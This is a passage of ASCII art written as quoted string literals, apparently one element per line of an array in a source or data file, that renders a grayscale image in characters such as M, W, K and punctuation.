        "MMMMMMMMMMMMMMMMMMMMMMMMMWKxoooolclkNN0xdkKXNKdclk0KKXXNNXXK0Okkxxxxxdoccl:,,'.':d0XXXK0Okxdoc,...  .......,;:lxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMWKklcoxkxlclkXKkddkOkxo:.';coxOKKXKXXXXK00Okxddol:cl:'...';lx0XXK0xoc:'.','.. ......';;cllxXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMNKOkxl:lddolookKOkkxdloo;,,;;;,,;:cldkOO000KKK0OOxoccll:,,;::::cllllc:;,.';;;,'........,;::;:oxO00XNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMWNKOkkxc,.,ooldxkKWMMWXxoc;;cllllccc;,'',;cldkO0KKKK0kkkkxdloddddl:;;;;;;'.',;::;,. .'....',,',;;;:clclxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMWXKOkxo:'.',,:ooxkkOKWN0kd:,;cllooolllcc:::,'',;:d0K00OO0KKXNNkooldkdc,'''..'',;::;,...,'....''.',,;;;::,;dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMWNK0Okd:,..,;;;;;:ccodxKXx;,;:clcclodolllllcccc:c:::okkoooxKNWMMWOl;,oOkxl::;,::;;clcc:,..;;'',,'...',;;',;,'cKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMWXKOkdl;..',;;;;;;;,'.;d0Ol,;cllllllloooolclooolcccccloo;,lodXMMMMWkl:;xOOkxdollc::ldool;'..:;'':,...''';,'...,lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMWNK0kxo:'.';;;:cc:;:::;;,,o0d,,cooooolllloooolc::oddlc:cclddlod0WMMMMNkl::kK0OxdddoodkOkdl:''.';;.';'....',;,'..';oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMWXK0OOxc,..,;::cllc:::codllccd0d,;ool:;lxdoloolllccccldxoc::cdXWWWNXWMMMXdcc:ldxxkkOOkkkxdl:;,'..,;,..;'....,;;,..',..,lkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MWNK00OkOOkl..,;;;cooc;:c:lkxc;;;lx0o';lool:ckxocloooloooolcoxolcccool:,lXMMMXoll:::::clllccc::;;,''.''..';;...',,,'..',.     .:d0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "K0OOkxdoxkxo,.,;:dkd:;;::;x0l,;:codxkl;:llc:oxoc:lodddddddol:ldxolll:;;;dNMMMKlcc:::::,,;::::;:;,'.......lOl,..',''.'',;'..      .:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "Oxkkddxccdl,.',ckko:;:::;;d0o;;cdddddxd::cl:clddlllloooooddoc;cxkdlloollOWMMM0lc:,;ccc:;;:::::;;,........cOc,.........';;;,,......  'lkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "Kxxkoc::cc,.',lOkc;;::c::ckOd::oddddxddxo:clc:cdkxoodxxxddolc:,:xkdoloodKMMMWOcc;,';::cc:::::;;;,.....'..ok,........ ....',;,,:ll:;;'..'cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "Nkoxxdooo;'',l00l;::::::okxl;:lc;;,,;;;okxl:llc:okkkOOOOOOxlcccldxxdlodxXMMMNxcc:;,,;:::cc::;;;,.....''.;Ol........  .....',;cllc:oxxo:,. .:d0NWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "M0ooo;','.''c0Kd;,;;:;:oxxl;:ooc...',:dOOOOdccoolooloooodkOkkkxdoooolodkXMMMXd:::::;;:cc:::;;;,'....,,..;:........  ....'';ldodoccooodxxo:'. .;coOXNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MXdoo' ..'';kKk:',:looxxdc;cooddo,.,lxO000kkxooloooooolllokOxxddoddddxxONMMMKl::::c::::lc:::;;,....,;....,.......  ....',;colccc:clooooooddoc'.....;cdkOKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MNkod:..'''o0kc',okxdlclc;clooooolcldddddoolldkddxooxxxxxdxkddxxxxxxkxd0WMMMOc:;:::ccc::c:::::;...',....xXkl:'......''',;,,;;;:;:ldolllddolll:,;:;'.......';cxNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MW0ddl...''lxoooOKkdc;,;:llc::::::::ccccccccccloooldxkkkkkkkOkkkxxdxkxxXMMMNd;;;;:::ccccc:;;;:;........lNMMWNKd'.....',;'.',,..;::::clollc::cclllc;col:,''...,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMXkdo;...';:cloO0d:;;:clc,'',,;;;:clloododdxxxdddxkkkOOkkkkkkkkxxxkOxONMMMXo;;,,;::::cclcc:::;.......'kWMMMMMO,.....',...,,..',,;:::::;,;;:c:cllcclooooodxd:dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMWOooc'..'',,,;:c;,;;;;;',;:c::ccccllloddddxxkkkkOkkkkkkkxxxxxxxkkOkx0WMMMO:;,'';;:ccccccc:;,.. ... .cXMMMMMMWX0kol::;......',::::;;,'',,.',,;;;;;cooddddl:;lONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMM0ool,..',,,''',,;;;;,,;;;:::cccccllllodxxxxxkkxxxkkkkkOOOkkkkOOOkkkKWMMNd;;'.'',;:::::;,'....... ..xWMMMMMMMMMMMWWWN0kdllcc:;,,''..'''......'',;cclool:;;;;;o0WMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMXxoo;..''''',,,,,,;;;;;;;;:cc::clllllodxxxkxxxxkkkkOOOOkkkkxkOOOOkOXMMMKl;;'..''',,'''............'dWMMMMMMMMMMMMMMMMMMMMWNXK00kxdoc'.........,;;::,....;cc;,:xNMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMWOoo:...'''''',,,,,,;,,;;;::::cccllllodxxxxdxkkkkkkkkkxxxxkkkOOOkkKWMMWk:;,..''''''................oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx,''...',,'''..    .,clc:;,l0WMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMKdlc,..'''',,,,,,;;;;,,;;;;::ccccllodddxxdxxxxkkkOOkkkkkOOOOOOkx0NMMMKl,,.........  ..............:KWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOxxkko;'.... .. .. .:ool:,,:xXWMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMNklc;...'''',,,,,,;;;,;;;;;::ccccclooddddddxxkkOOO00OOOOOOOkkkxkXWMMWx;''.....................'...':dxkkOOKWMMWNX0kdododxKWMMMMMMMMMMMMMMWXKOd:';dc;:;'.;odocldc:lxO0Okx0WMMMMMMMMMMMMMMMM",
        "MMMMMKocc,....'''',,,,,,;;;;;;;;::::ccllooddddxxxxxxkkkkkkkkkxdddox0NWMW0c''.......''.........,::cc'...',;:;;,:xOkdo;,;cc,...'cONMMMMMMMMMMMMMMMMMN0KKkO0xl:,lddc'',,;:::;,'dNMMMMMMMMMMMMMMMM",
        "MMMMMNkll:'..'''',,,,,,,,,;;;;;::::cccclooodxxxkkxxxxkkkkkkOOOOkdox0XWWNo''.......''........';::,.........',,;cllc:;:oooodxkOOOKNWWWWWWWWMMMMMMMMMMXkclKX00x:;lo:..'.',,,;,:OWMMMMMMMMMMMMMMMM",
        "MMMMMMKdll:...''''',,,,,,,,;;;;;:::ccccllodxddddxxkkkkkkkkO0KXNXXK0KXNNx,'.................',........   ...';:ccc;';oxxKNNNNNNNNNNNNWWWWWWWMMWWWWMMNx'.:ccxOllOKd:do..'''.;kWMMMMMMMMMMMMMMMMM",
        "MMMMMMWOool;...','''''',,,,,,,;;;;:::ccllodxxdddddxxxxxxxkOKWWWWWNNNNNk;'...................'..'.....   .',,:ccc:';ldO0KKKXXXXXKXXXXXNNNWWWWWWWWWWWWXOd:...''lKNOool;,'''',cxKWWMMMMMMMMMMMMMM",
        "MMMMMMMXxodl,.':c:,''',,,,,,,,,,;;;::cclloodxxxxddddddddddxKWWWWWNXNNO;......................'....   ...',,:cclc,.cdx0KKKKKKKKKKKKKKKXNNNNWWWNNNNNNNNNWNOkdc:oOklc::c:,'.';:o0NWWMMMMMMMMMMMMM",
        "MMMMMMMMKxddlcoddoc,'''',,,,,',,,,;;::cclloooodoooooooooollxXNNNNWNNO:.................................';;;clll;',cdO00000OO00K0OO0KXXNNNNNNNXXXXXXXKKNMMMMWN0xl:::;;,',;llcok0KXNWWWMMMMMMMMM",
        "MMMMMMMMWKxxxxkOkxoc,.',,,''''',,,,;:::cllllllolccllloolll::xKXXNNNk;............................'...',::;:looc'.cxxkOOkkkOOOOxxO0KKKKXXXNNXXKKKKKKKK0KWMMMMMWNKOOkxxko;:clc;:lodOKXNWWWMMMMMM",
        "MMMMMMMMMW0xdkkkkkd:..',,''''',,,,,;;;::ccclllccccccllccc:clxKNNNXx,......................''',,,'..',,:c;;llol,';cddoddxxkOOxdxk0OOOKKKKKKXXK000000KKO0NMMMMMMMMMMMMMMNx,..''''',:ok0KKKKXXWMM",
        "MMMMMMMMMMWKxoxkkxd;..',c:'''',,,,,;;;::::::::ccc::ll:::;cxOKNWNXd,....................';;;;;;;,'',;;:l:;:lll;.:l:lolodxkOkddkOkdook000000000O0000000kkNMMMMMMMMMMMMMMMWKl',::;'''',:llllclxKN",
        "MMMMMMMMMMMMXxoxkxo;..'';dl,'''',::;,;;;::col:;;:clc;;;;cd0NWWWKl'....................',;::;;::,,;ccclc;:cloc'.cl:;codxkxddxkOko:lxkkkkOOkkkkkOOOOkxdlkWMMMMMMMMMMMMMMMMMNOlokl'',:ol;'',,,;:d",
        "MMMMMMMMMMMMMNkodkxo:,..';odc,.,c::;,;;;;,,;lolcoo:,,,:ld0WWWW0:....................',,;;::ccc:;:lllol::clol,.;l:;cldxxdodxkkxc;cdxxxkkkxdddxxxddolc;;dNMMMMMMMMMMMMMMMMMMMNkl;;,',oXXOd:'',,:",
        "MMMMMMMMMMMMMWKdodxxdo:'..':odccc,'',,,;:;;;;cddc;,,,:oOKWWWNx,...................',,;;::clll::clllooc::lol;',::,;ccllldkO0Oxc';lddxkkxddddddolllc;',:cOWMMMMMMMMMMMMMMMMMMMMNkl;,'cKMMMNOo:,,",
        "MMMMMMMMMMMMWXxc:codkxol;'...;clc,';;:loxxl,,,;;;,;:lxKNWWWKl'..................'',,;;:clllc:clllllolcccll:',cccc,,ccldkOkkd:..:looollodxxdolc:::;,,,''dNMMMMMMMMMMMMMMMMMMMMMMN0kk0WMMMMMWXOd",
        "MMMMMMMMMMMWXkl;'.,lddxxdl;'...',',cc:lx0XKd;',,,:xO0NWWWXx;...................'',,,,;:cllcclllcclollcloo:.,cl;,:'';cldxxo:'..''';coodddddllc:;,,,'..',dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMWXkl:,',::;codkkdl:,'...;lc;:oONWNO:';d0XWWWWNOl,........................',;::::cllcccloolcloo:'';cl:;'';coddo:,....,;,,;;:cccl:'''''',,;;;''xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMNOoc:',cc'.,oooxkxdlc;''coc,:olOWMMKO0XWMMWN0o;'..  ....................',,;;::lllcclooolclllc'':l:::'.';clc;'........,;::cclcclllooool:;'..:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMNOolc,,c:..,xNXOxdodxdooooo:;d0ooNMMMMWMMWWKd:'...    ..'...............',,;::cccc:ccooollllc:'':loc;,...'''.',;cc'.......',;::cccc:,'......'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMN0dlc,.;:,',xNMMMWKkoodxxxxxo::okXWMMMMMMWXx:'':::;:cldo,..........'....',;;:cclc::clooollllc;..cllodl:cclodxk0XNW0,.........'''''''........,kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMW0dl:'.,;,';xNMMMMMMWXOdlldxxkxoOWMMMMMMWKx:'':xNWWWMMMMNd'...........''',,:cclllccllooolllcc,.,:lx0NNWWWWMMMMMMMMMO' ......................'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMWKdl:,',;'.:kWMMMMMMMMMMWKkdoodddkNMMWMW0d:'':xXMMMMMMMMMMNo............'';:clloolllodoollll:'.,clkXNWMMMMMMMMMMMMMMO' ...''''...............cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMWXkl:,,;,..lKWMMMMMMMMMMMMMWNKkxoldKWNXkl,.':kXMMMMMMMMMMMMMXl..........',:clloooooolooooolc;..:lloONWMMMMMMMMMMMMMMMX:......',;,,,,'''''....'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMXkoc;,;,';dXMMMMMMMMMMMMMMMMMMMNKOk00d:'.'ckNMMMMMMMMMMMMMMMMXl.......,;::cloddddooollolll:'.,cololoKMMMMMMMMMMMMMMMMWx........''''''........cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMW0oc:::;,:kNMMMMMMMMMMMMMMMMMMMMMMMWXx;.'cONMMMMMMMMMMMMMMMMMMMXc.....',:cclloodddooolllc:,';::looollkWMMMMMMMMMMMMMMMMXc.........''.........'kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMKdc::::;l0WMMMMMMMMMMMMMMMMMMMMMMMMMMMN0KWMMMMMMMMMMMMMMMMMMMMMWx......,;:clooddooloolc:,'':;:lcllloddKMMMMMMMMMMMMMMMMMk'........''.........cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMNxc;::;ckNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:....'';:loooooollll:,',:cc:okkddokOxOWMMMMMMMMMMMMMMMMNc........''........'kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMM0c,,,;oKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,.',,;:clloooolc:;;:;:lldoldk0OxokKkkNMMMMMMMMMMMMMMMMMk'......'''........cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMWk:''c0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx,',;;:cclllc:;,,;ccc:cdkkx0XXKOdxKOd0WMMMMMMMMMMMMMMMMX:......'''......':kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMW0ooONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk;,,;::::;,,';::cclxkxkOO0XNXX0koOKxkNMMMMMMMMMMMMMMMMNc......'''......:kXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxc'''',;::;llllcok0KXXKKXNNXKOdxKOdKWMMMMMMMMMMMMMMWO,...............dNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdc:coc:cc;:ldkOKXXXXXXXNNXK0xd0KxkNMMMMMMMMMMMMMMO,......'........'kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0kddOxl::cccdO0KKKXNXXXNNXK0Ox0XOxXWMMMMMMMMMMMMNo.......'''.......xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXNXKl;::ldkO0K0XNNNNNNNXK0k0NKxONMMMMMMMMMMNx:'.......''''.....'xWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd::lodk000KNNNNNNNXXKO0XXkxKWMMMMMMMMXo'.......',,,;,,,,''lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkc:llxOOO0XNNNNNNXXK00XNOxONMMMMMMW0c'''......',,;;;;;,'lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOc:lokOkkKXNNNNXXXK00XNKkkKWMMMMMXl..........',;;;,,,';OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0lclxkxx0XXNNNXXXKK0KNXOk0NMMMMMNo............''''...;0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcokkxOKXNNXXXXXKKKXNK0OKWMMMMMKc............',,,,,,xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOlokxx0KXNNNNNXXKXXNNKOONMMMMMMXd,..........',,,,'.cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxdddkKXXNNNNNNXXXNXX0xxOXWMMMMW0c........',,,,,;,,xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOdodOKXXNNNNNNNXXXXKOoccd0WMMMMNd'......,;;;;::,'cKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0oldO0KXXNNNNNXXXXKOkdc,;xXMMMMWO,.....',;:;;,,',o0XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0oldO0KXXNNNXXXKK0Okxx:',l0WMMMWk,....',;;,,,,,,,;oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdldkO0KXXXXKK0OOkkO0o'',:kWMMMWd....',;;,,,,,,,,,oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo;ldxO00000OOkkkkO0x,.,,,xWMMMK:...',;:;;,,,,;;,,dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl';:codddxxxxxkkO0Oo'.,:',0MMMWx'.'';::::;;,,;;;,:0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo,,;clllooddxxkxxdl,.'cc'.oNMMM0;.',;::::;;;;;;:;;kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd;'':lloddoooool:,..'ld;..,kWMMNo..',;::::::c:::c:oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKc,'';cccc::::;,..':od:''..;kWMMNd,..';:clollllllcc0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c''''.........,cddl;,'...,:kWMMWKl'..';coddollllckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0:',,''''',;clooc;,,'...,;';0MMMMWKo,..,:loddoc;lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKc.',,;;;:;;,'.',,'...;:,..cXMMMMMMXkc,'';::;:dXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,.........''''...,::,'..'xWMMMMMMMWX0kkkO0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo'...........',;;,'.....:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk;..''''''',,,'........'dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKo'.'',,,'''......''''.;OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOc....''''''''''',,,''cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNk:..''',,',,''',,,,',dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,..',,,,,,,,,,,,,',dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c'.',,,,,,,,,,,,,',oKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNk:.'',,,,,,,,,,,,,;cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,',,,,,,,,,,,;;;;cdkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c,,,,,,;;;;;;::cccodOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl',,,;;;;;::coo:;lllONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl',;:::::loxdc:cc:;cOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
